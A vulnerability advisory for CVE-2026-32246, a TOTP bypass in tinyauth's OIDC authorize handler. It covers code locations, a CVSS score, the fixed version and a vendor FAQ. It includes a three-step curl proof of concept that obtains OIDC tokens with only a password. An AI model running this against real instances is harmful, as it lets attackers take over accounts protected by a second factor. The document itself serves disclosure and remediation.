CVE-2026-32246

The OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user's password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor.

Details

When a user with TOTP enabled logs in at POST /api/user/login, the server creates a session with TotpPending: true and returns a session cookie. The context middleware (internal/middleware/context_middleware.go:56-66) correctly sets TotpPending: true and does not set IsLoggedIn for these sessions.

However, the OIDC authorize handler (internal/controller/oidc_controller.go:105-116) only checks whether a user context exists via utils.GetContext(c). It does not check IsLoggedIn or TotpPending. Since the context middleware populates a context for TOTP-pending sessions (with the username filled in), GetContext succeeds, and the handler proceeds to issue an authorization code at line 156 using the username from the incomplete session.

For comparison, the proxy controller (internal/controller/proxy_controller.go:176-179) correctly blocks TOTP-incomplete sessions by checking IsBasicAuth && TotpEnabled and setting IsLoggedIn = false. The OIDC authorize handler has no equivalent guard.

StoreCode at internal/service/oidc_service.go:305 saves the code with the victim's sub claim. The attacker then exchanges this code at POST /api/oidc/token for a valid access token and ID token.

PoC

Prerequisites: a tinyauth instance with at least one OIDC client configured and a local user with TOTP enabled.

Step 1, Log in with password only (do not complete TOTP):

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"totpuser","password":"totp123"}'

Response: {"message":"TOTP required","status":200,"totpPending":true}

Step 2, Request an OIDC authorization code using the TOTP-pending cookie:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Response: {"redirect_uri":"http://localhost:8080/callback?code=<AUTH_CODE>&state=test","status":200}

Step 3, Exchange the code for tokens:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "my-client-id:my-client-secret" \
  -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://localhost:8080/callback"

Response contains access_token, id_token, and refresh_token for the victim user. TOTP was never submitted.

Complete bypass of TOTP/MFA for any user account on any tinyauth instance that has OIDC clients configured. An attacker who has compromised a user's password (credential stuffing, phishing, database breach) can obtain SSO tokens for that user's identity without knowing the TOTP secret. This defeats the purpose of the second factor entirely. All downstream applications relying on tinyauth's OIDC provider for authentication are affected.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-32246 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.1-20260311144920-9eb2d33064b7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32246? CVE-2026-32246 is a high-severity improper authentication vulnerability in github.com/steveiliop56/tinyauth (go), affecting versions < 1.0.1-20260311144920-9eb2d33064b7. It is fixed in 1.0.1-20260311144920-9eb2d33064b7. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-32246? CVE-2026-32246 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/steveiliop56/tinyauth are affected by CVE-2026-32246? github.com/steveiliop56/tinyauth (go) versions < 1.0.1-20260311144920-9eb2d33064b7 is affected.
4. Is there a fix for CVE-2026-32246? Yes. CVE-2026-32246 is fixed in 1.0.1-20260311144920-9eb2d33064b7. Upgrade to this version or later.
5. Is CVE-2026-32246 exploitable, and should I be worried? Whether CVE-2026-32246 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32246 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32246? Upgrade github.com/steveiliop56/tinyauth to 1.0.1-20260311144920-9eb2d33064b7 or later.